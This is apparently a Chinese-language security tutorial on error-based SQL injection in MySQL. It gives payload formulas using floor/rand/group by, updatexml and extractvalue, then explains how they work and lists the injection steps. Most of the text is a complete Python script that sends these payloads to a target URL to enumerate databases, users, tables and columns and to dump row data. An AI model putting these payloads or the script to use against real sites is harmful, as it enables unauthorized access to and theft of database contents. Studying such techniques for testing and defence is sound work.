SQL注入之报错型注入(MySQL)

0x00 前提

一般是在页面没有显示位、但用echo mysql_error();输出了错误信息的时候使用,
它的特点是注入速度快,但是语句较复杂,不能用group_concat(),只能用limit依次猜解

0x01 利用方式

报错注入只要套用公式即可,如下(第一个公式count(*)、floor()、rand()、group by不可或缺,后两个公式有32位的限制):

?id=2’ and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (查询语句)) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a )--+

?id=2’ and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+

?id=1’ and extractvalue(1, concat(0x7e, (select @@version),0x7e))--+

第一个公式具体原理可以参考:MySQL报错注入原理分析(count()、rand()、group by)

0x02 公式解析

floor()是取整数
rand()在0和1之间产生一个随机数
rand(0)*2将取0到2的随机数
floor(rand()*2)有两条记录就会报错
floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的
count(*)是用来统计结果的,相当于刷新一次结果
group by对数据分组时会先看看虚拟表里有没有这个值,若没有就插入,若存在则count(*)加1
group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次

0x03 注入步骤

  1. 猜测闭合字符 得到闭合字符 确认闭合字符

  2. 猜测列数 得到列数

  3. 尝试得到显示位 尝试得到显示位

  4. 报错得到数据库个数 报错得到数据库个数

  5. 报错得到数据库名 报错得到数据库名

  6. 报错得到表名 报错得到表的个数 报错得到表名

  7. 报错得到列名 报错得到列的个数 报错得到列名1 报错得到列名2

  8. 得到列值 报错得到数据条数 报错得到列的值

0x04 附上利用代码

#!/usr/bin/env python
# -*- coding: utf-8 -*-  

import re
import urllib
import urllib2
import binascii
from pyfiglet import figlet_format
from optparse import OptionParser


# --dbs url
def getAllDatabases(url):
    # print url
    payload = "' and(select 1 from(select+count(*),concat((select (select (select+concat(0x7e7e3a7e7e, count(distinct table_schema),0x7e7e3a7e7e) from information_schema.tables)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+"
    payload = "/**/".join(payload.split())
    dbs_num_url = url + payload
    # print dbs_num_url
    response = urllib2.urlopen(dbs_num_url)
    html = response.read()
    # print html
    # ~~:~~5~~:~~
    dbs_num = int(re.search(r'~~:~~(\d*?)~~:~~', html).group(1))
    print "database num: %d" % dbs_num
    print "database name: "
    for index in xrange(0,dbs_num):
        payload = "' and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e7e3a7e7e, table_schema, 0x7e7e3a7e7e) from information_schema.tables limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % index
        payload = "/**/".join(payload.split())
        db_name_url = url + payload
        response = urllib2.urlopen(db_name_url)
        html = response.read()
        db_name = re.search(r'~~:~~(.*?)~~:~~', html).group(1)
        print "\t%s" % db_name

def getCurrentDb(url):
    # print "CurrentDb is: aaaa"
    # print url

    current_db_name_url = url + "'+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e7e3a7e7e,/**/(select/**/database()),/**/0x7e7e3a7e7e)))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+"
    response = urllib2.urlopen(current_db_name_url)
    html = response.read()
    current_db_name = re.search(r'~~:~~(.*?)~~:~~', html).group(1)
    print "Current database is: %s" % current_db_name

def getCurrentUser(url):
    db_name_url = url + "'+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e7e3a7e7e,/**/(select/**/user()),/**/0x7e7e3a7e7e)))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+"
    response = urllib2.urlopen(db_name_url)
    html = response.read()
    user_name = re.search(r'~~:~~(.*?)~~:~~', html).group(1)
    print "Current user is: %s" % user_name

# --tables -D database url
def getAllTablesByDb(url,db_name):
    # print db_name
    # print url
    db_name_hex = "0x" + binascii.b2a_hex(db_name)
    # print db_name_hex
    tables_num_url = url + "'+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(/**/select/**/concat(0x7e7e3a7e7e,/**/count(table_name),/**/0x7e7e3a7e7e)/**/from/**/information_schema.tables/**/where/**/table_schema=%s))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+" % db_name_hex
    response = urllib2.urlopen(tables_num_url)
    html = response.read()
    # print html
    tables_num = int(re.search(r'~~:~~(\d*?)~~:~~', html).group(1))
    # print tables_num
    print "%s has %d table" % (db_name, tables_num)
    print "table name: "
    for index in xrange(0,tables_num):
        tables_name_url = url + "'+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(/**/select/**/concat(0x7e7e3a7e7e,/**/table_name,/**/0x7e7e3a7e7e)/**/from/**/information_schema.tables/**/where/**/table_schema=%s/**/limit/**/%d,1))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+" % (db_name_hex, index)
        response = urllib2.urlopen(tables_name_url)
        html = response.read()
        # print html
        table_name = re.search(r'~~:~~(.*?)~~:~~',html).group(1)
        print "\t%s" % table_name

def getAllColumnsByTable(url,table_name,db_name):
    db_name_hex = "0x" + binascii.b2a_hex(db_name)
    table_name_hex = "0x" + binascii.b2a_hex(table_name)
    payload = "'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,count(column_name),0x7e7e3a7e7e) from information_schema.columns where table_name=%s and table_schema=%s)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % (table_name_hex,db_name_hex)
    # print payload
    payload = "/**/".join(payload.split())
    column_num_url = url + payload
    response = urllib2.urlopen(column_num_url)
    html = response.read()
    column_num = int(re.search(r'~~:~~(\d*?)~~:~~',html).group(1))
    # print column_num
    print "Table %s of the %s has %d columns" % (table_name,db_name,column_num)
    print "Table %s contains the column name:" % table_name
    for index in xrange(0,column_num):
        payload = "'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,column_name,0x7e7e3a7e7e) from information_schema.columns where table_name=%s and table_schema=%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % (table_name_hex,db_name_hex,index)
        payload = "/**/".join(payload.split())
        # print payload
        column_value_url = url + payload
        response = urllib2.urlopen(column_value_url)
        html = response.read()
        # print html
        column_name = re.search(r'~~:~~(.*?)~~:~~',html).group(1)
        print "\t%s" % column_name


def getAllcontent(url,column_name,table_name,db_name):
    # print url
    # print column_name
    # print table_name
    # print db_name
    column_name = column_name.split(',')
    num_column = len(column_name) #想得到的字段的个数
    # print column_name
    # print num_column

    payload = "'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,count(*),0x7e7e3a7e7e) from %s.%s)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % (db_name,table_name)
    # print payload
    payload = "/**/".join(payload.split())
    column_value_url = url + payload
    response = urllib2.urlopen(column_value_url)
    html = response.read()
    # print html
    column_value_num = int(re.search(r'~~:~~(\d*?)~~:~~',html).group(1))
    print "Table %s has %d columns" % (table_name,column_value_num)
    print "Table %s column values:" % table_name

    title = "\t"
    str_value = "0x7e7e3a7e7e,"
    for x in xrange(0,num_column):
        title += "%-15s" % column_name[x]
        str_value += "%s,0x20," % column_name[x]
    str_value = ",".join(str_value.split(',')[0:-2]) +",0x7e7e3a7e7e"
    # print str_value
    
    print title
    for index in xrange(0,column_value_num):
        payload = "'+and(select 1 from(select count(*),concat((select (select ( select concat(%s) from %s.%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % (str_value,db_name,table_name,index)
        # print payload
        payload = "/**/".join(payload.split())
        value_url = url + payload
        response = urllib2.urlopen(value_url)
        html = response.read()
        # print html
        value = re.search(r'~~:~~(.*?)~~:~~',html).group(1).split()
        # print value
        stri = "\t"
        # print len(value)
        if len(value)==0:
            print ""
        else:
            for x in xrange(0,num_column):
                stri += "%-15s" % value[x]
            print stri

def main():
    print figlet_format("sqli-error")
    parser = OptionParser()
    parser.add_option("-u","--URL",action="store",
              type="string",dest="url",
              help="get url")
    parser.add_option("-D","--DB",action="store",
              type="string",dest="db_name",
              help="get database name")
    parser.add_option("-T","--TBL",action="store",
              type="string",dest="table_name",
              help="get table name")
    parser.add_option("-C","--COL",action="store",
              type="string",dest="column_name",
              help="get column name")

    parser.add_option("--dbs",action="store_true",
              dest="dbs",help="get all database name")
    parser.add_option("--current-db",action="store_true",
              dest="current_db",help="get current database name")
    parser.add_option("--current-user",action="store_true",
              dest="current_user",help="get current user name")
    parser.add_option("--tables",action="store_true",
              dest="tables",help="get tables from databases")
    parser.add_option("--columns",action="store_true",
              dest="columns",help="get columns from tables")
    parser.add_option("--dump",action="store_true",
              dest="dump",help="get value")
    (options,args) = parser.parse_args()


    if options == None or options.url == None:
        parser.print_help()
    elif options.dump and options.column_name and options.table_name and options.db_name:
        getAllcontent(options.url,options.column_name,options.table_name,options.db_name)
    elif options.table_name and options.db_name:
        getAllColumnsByTable(options.url,options.table_name,options.db_name)
    elif options.db_name:
        getAllTablesByDb(options.url,options.db_name)    
    elif options.dbs:
        getAllDatabases(options.url)
    elif options.current_db:
        getCurrentDb(options.url)
    elif options.current_user:
        getCurrentUser(options.url)
    elif options.url:
        print "you input: sqli-error.py -u www.xxx.com/?id=xx"


if __name__ == '__main__':
    main()
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